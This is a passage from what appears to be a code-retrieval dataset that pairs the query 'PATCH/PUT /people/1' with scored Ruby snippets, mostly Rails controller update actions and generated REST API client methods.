opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FirmwareApi.patch_firmware_iom_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling FirmwareApi.patch_firmware_iom_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/firmware/IomDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(firmware_iom_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'FirmwareIomDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"FirmwareApi.patch_firmware_iom_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FirmwareApi#patch_firmware_iom_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "94f93155d6abd6d6aaed2171906e731a", "score": "0.48404804", "text": "def patch_capability_switch_capability_with_http_info(moid, capability_switch_capability, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_switch_capability ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_switch_capability\"\n end\n # verify the required parameter 'capability_switch_capability' is set\n if @api_client.config.client_side_validation && capability_switch_capability.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_switch_capability' when calling CapabilityApi.patch_capability_switch_capability\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchCapabilities/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_switch_capability)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySwitchCapability'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_switch_capability\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_switch_capability\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a822cccb41d39e554dd464c0b169cf68", "score": "0.48308027", "text": "def update_firmware_iom_descriptor(moid, firmware_iom_descriptor, opts = {})\n data, _status_code, _headers = update_firmware_iom_descriptor_with_http_info(moid, firmware_iom_descriptor, opts)\n data\n end", "title": "" }, { "docid": "c5c83d1d5700200c96e90fef92863013", "score": "0.482025", "text": "def update\n respond_to do |format|\n if @sfmodule.update(sfmodule_params)\n format.html { redirect_to sfmodules_path, notice: 'Sfmodule was successfully updated.' }\n format.json { render :show, status: :ok, location: @sfmodule }\n else\n format.html { render :edit }\n format.json { render json: @sfmodule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a3a5e57a5876501c37257f26fd4d6e26", "score": "0.48179638", "text": "def create_capability_sioc_module_manufacturing_def(capability_sioc_module_manufacturing_def, opts = {})\n data, _status_code, _headers = create_capability_sioc_module_manufacturing_def_with_http_info(capability_sioc_module_manufacturing_def, opts)\n data\n end", "title": "" }, { "docid": "0d059f75aab38316024b62b1e560f729", "score": "0.48164886", "text": "def update_firmware_psu_descriptor_with_http_info(moid, firmware_psu_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FirmwareApi.update_firmware_psu_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling FirmwareApi.update_firmware_psu_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/firmware/PsuDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(firmware_psu_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'FirmwarePsuDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"FirmwareApi.update_firmware_psu_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FirmwareApi#update_firmware_psu_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "bcaf4358566cf94231032b8104701e90", "score": "0.48157826", "text": "def update!(**args)\n @device_action_capability = args[:device_action_capability] if args.key?(:device_action_capability)\n @project_configs = args[:project_configs] if args.key?(:project_configs)\n end", "title": "" } ]
1c84390d2a400055ab70977217256997
PATCH/PUT /people/1 PATCH/PUT /people/1.json
[ { "docid": "8d33c25986024a41b486608aacf105f2", "score": "0.6414966", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to root_path, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "fe34f93da0751ad55cc5052cfdd2366c", "score": "0.7237428", "text": "def update\n render json: Person.update(params[\"id\"], params[\"person\"])\n end", "title": "" }, { "docid": "6ae6b17460ba8c07daf1a237b1b63696", "score": "0.69481254", "text": "def update\n \n if @api_v1_person.update(api_v1_person_params) \n render json: @api_v1_person\n else\n render json: @api_v1_person.errors, status: 400\n end\n \n end", "title": "" }, { "docid": "abce1dfbfa7adc8a127622108f732a95", "score": "0.6907254", "text": "def update_person(api, cookie, perstoupdate, person)\n pers_id = perstoupdate['id']\n option_hash = { content_type: :json, accept: :json, cookies: cookie }\n pers = nil\n res = api[\"people/#{pers_id}\"].patch person.to_json, option_hash unless $dryrun\n if res&.code == 201\n pers = JSON.parse(res.body)\n end\n pers\nend", "title": "" }, { "docid": "03d3dc12cfbe7f4529450b9c6085bfd0", "score": "0.6788142", "text": "def update\n @people = Person.find(params[:id])\n people_params = params.permit(:first_name, :last_name, :organisation_id)\n\n if @people.update(people_params)\n render status: 200\n else\n render status: 422, json: {error: @people.errors.full_messages.first}\n end\n end", "title": "" }, { "docid": "025fd4e7980816d6c229844c31f095ae", "score": "0.6745294", "text": "def update\n @person = Person.find(params[:id])\n\n if @person.update(person_params)\n head :no_content\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d5eaea298e64625a71a15a970f3b75ed", "score": "0.6684688", "text": "def patch *args\n make_request :patch, *args\n end", "title": "" }, { "docid": "bc9a9c835146d82cef70f6665e2008e8", "score": "0.66457504", "text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to root_url, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "01fe9621be0da9312993416eabcd0ac1", "score": "0.6626139", "text": "def update\n @person = Person.find(params[:id])\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "58ba7a722eac6d091519682f9ccaf0c4", "score": "0.66225016", "text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "58ba7a722eac6d091519682f9ccaf0c4", "score": "0.66225016", "text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "58ba7a722eac6d091519682f9ccaf0c4", "score": "0.66225016", "text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d5bb1bd1c27f8e1482c989259df5d168", "score": "0.6608982", "text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b7d46c1bbfb1c5315d70e6f1b3dffaf4", "score": "0.6592298", "text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to edit_person_url(@person), notice: \"#{@person.firstname} #{@person.lastname} was successfully updated.\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bff9f051473864378ec4420a385d9041", "score": "0.655901", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: \"#{@person.name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3f7a221faf8b8e9ce77a189af158138", "score": "0.655561", "text": "def update\n @person = Person.find(params[:id])\n if @person.update(person_params)\n render :show, status: :ok, location: api_v3_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "4713b1bbb77e26328a49967631683400", "score": "0.65473396", "text": "def update\n respond_to do |format|\n if @person.update(params[:person])\n format.html { redirect_to edit_person_path(@person), notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7ed7ac047379a0529afb3b3e76cd6f93", "score": "0.6543461", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7ed7ac047379a0529afb3b3e76cd6f93", "score": "0.6543461", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7ed7ac047379a0529afb3b3e76cd6f93", "score": "0.6543461", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7ed7ac047379a0529afb3b3e76cd6f93", "score": "0.6543461", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "416ecb573706b6136f03f36322c12f6f", "score": "0.65395284", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: I18n.t('controllers.people.update.success') }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1b7a50f0667b7d27594c57d5405ccf37", "score": "0.6536794", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html {redirect_to url_for(@person.metamorphosize), notice: 'Person was successfully updated.'}\n format.json {head :no_content}\n else\n format.html {render action: 'edit'}\n format.json {render json: @person.errors, status: :unprocessable_entity}\n end\n end\n end", "title": "" }, { "docid": "d679bbeec6c24024bb16b7df9b990043", "score": "0.6535019", "text": "def update\n if @person.update(person_params)\n head :no_content\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "368d1b7fe1201ac8944e6e73b5586343", "score": "0.651828", "text": "def update\n @user = User.find(params[:id])\n\n if @user.update(person_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "7f7c16b9e14f1352bb07fd27f83679a7", "score": "0.6513268", "text": "def patch(path, params: {}, headers: {})\n request_json :patch, path, params, headers\n end", "title": "" }, { "docid": "bf603dbfb56e4160d8d5e822a1151f3b", "score": "0.65039647", "text": "def update\n @person = Person.find(params[:id])\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: t(\"activerecord.notices.models.person.updated\", name: @person) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "35094a04a2d2e526513171b8eef493bb", "score": "0.65034777", "text": "def update\n @people = People.find(params[:id])\n\n respond_to do |format|\n if @people.update_attributes(params[:people])\n format.html { redirect_to @people, notice: 'Uživatel byl úspěšně upraven.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @people.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78b5aaff316e5c325f5ac378e6159ef6", "score": "0.6493767", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to people_path, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9f0db4f00090ca2aec58ca691a0471cc", "score": "0.6490482", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "99892939cfa60fe3c11ad4640df1325a", "score": "0.6486595", "text": "def update\n @people = People.find(params[:id])\n respond_to do |format|\n if @people.update_attributes(params[:people])\n format.html { redirect_to(@people) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @people.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6650d4950209171e0a124411d4c9e9d8", "score": "0.6473287", "text": "def update\n respond_to do |format|\n if @person.with_user(current_user).update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6650d4950209171e0a124411d4c9e9d8", "score": "0.6473287", "text": "def update\n respond_to do |format|\n if @person.with_user(current_user).update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6650d4950209171e0a124411d4c9e9d8", "score": "0.6473287", "text": "def update\n respond_to do |format|\n if @person.with_user(current_user).update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6506d3d20f3a4e0cc3f91cdcae8e0084", "score": "0.647237", "text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to [:admin, @person], notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f2a4f6e2c89095a15a5868b214d16c7f", "score": "0.64719117", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person.metamorphosize, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2515939e254bae6dc8881873dafdbdd7", "score": "0.64517295", "text": "def update\n @person = current_user.person #.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to edit_person_path(@person), notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1104043c0cca818a932c83c99bf1d42f", "score": "0.64462525", "text": "def update\n @person = Person.find(params[:id])\n @people = load_people(@person)\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to(admin_person_path(@person), :notice => 'Person was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b07b92d7402bf2daa7f64648b587de10", "score": "0.64329654", "text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'You have successfully updated your account!' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1a624f99021d90354d182e34356b5c20", "score": "0.64150566", "text": "def update\n respond_to do |format|\n if @person == nil\n @person = Person.find_by id: params[:id] \n end\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "69d16045c8dc8fc399f06e4418f97125", "score": "0.6406544", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to people_url, notice: 'La persona fue editada exitosamente.' }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d7a9473a4f0f861640eec539690b6a2d", "score": "0.6399151", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to person_path(@person), notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59108cacd3b76a301cf947535550bf78", "score": "0.6398366", "text": "def update\n\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59108cacd3b76a301cf947535550bf78", "score": "0.6398366", "text": "def update\n\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7e179decb3ef2e691d4a91a75230bfeb", "score": "0.6394656", "text": "def update\n respond_to do |format|\n if @person.update_attributes(person_params)\n format.html { redirect_to(@person, :notice => 'Poeple was successfully updated.') }\n format.json { respond_with_bip(@person) }\n else\n format.html { render :action => \"edit\" }\n format.json { respond_with_bip(@person) }\n end\n end\n end", "title": "" }, { "docid": "a560f4bff44d56c6fcaec8b57a64c8ef", "score": "0.63864505", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n # Update spouse\n # if @person.spouse_id != nil and @person.spouse_id != @person.spouse.id\n # @person.spouse = Person.find(@person.spouse_id)\n # end\n \n format.json { render :show, status: :ok, location: @person }\n else\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bd7591138eeec822a0c67ab00c4784ea", "score": "0.6374789", "text": "def update\n respond_to do |format|\n if @person.update(person_params) # save the changes of a person object\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "81d99c844c8196864b0d84e585a28341", "score": "0.637249", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.json { render :show, status: :ok, object: @person }\n else\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc24860eb61ce0ebd1dfc6b05475dbfd", "score": "0.63721675", "text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n post_activity @person, \"updated person #{@person.name}\"\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8a1fcbdae3046e2102f533f681b61c66", "score": "0.6372153", "text": "def update_contact\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/3'\n ).to_s\n\n puts RestClient.patch(\n url, {contact: {name: \"Josh\", email: \"josh@gmail.com\"}} )\nend", "title": "" }, { "docid": "fa16209f5ac39ae638cdf45c17fd5f18", "score": "0.63698936", "text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end", "title": "" }, { "docid": "fa16209f5ac39ae638cdf45c17fd5f18", "score": "0.63698936", "text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end", "title": "" }, { "docid": "c289b47bf14a4e370e99fe656a5ba525", "score": "0.6368193", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person.user, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b84f0cd6052175b4610438fd5e6070ef", "score": "0.63651174", "text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n 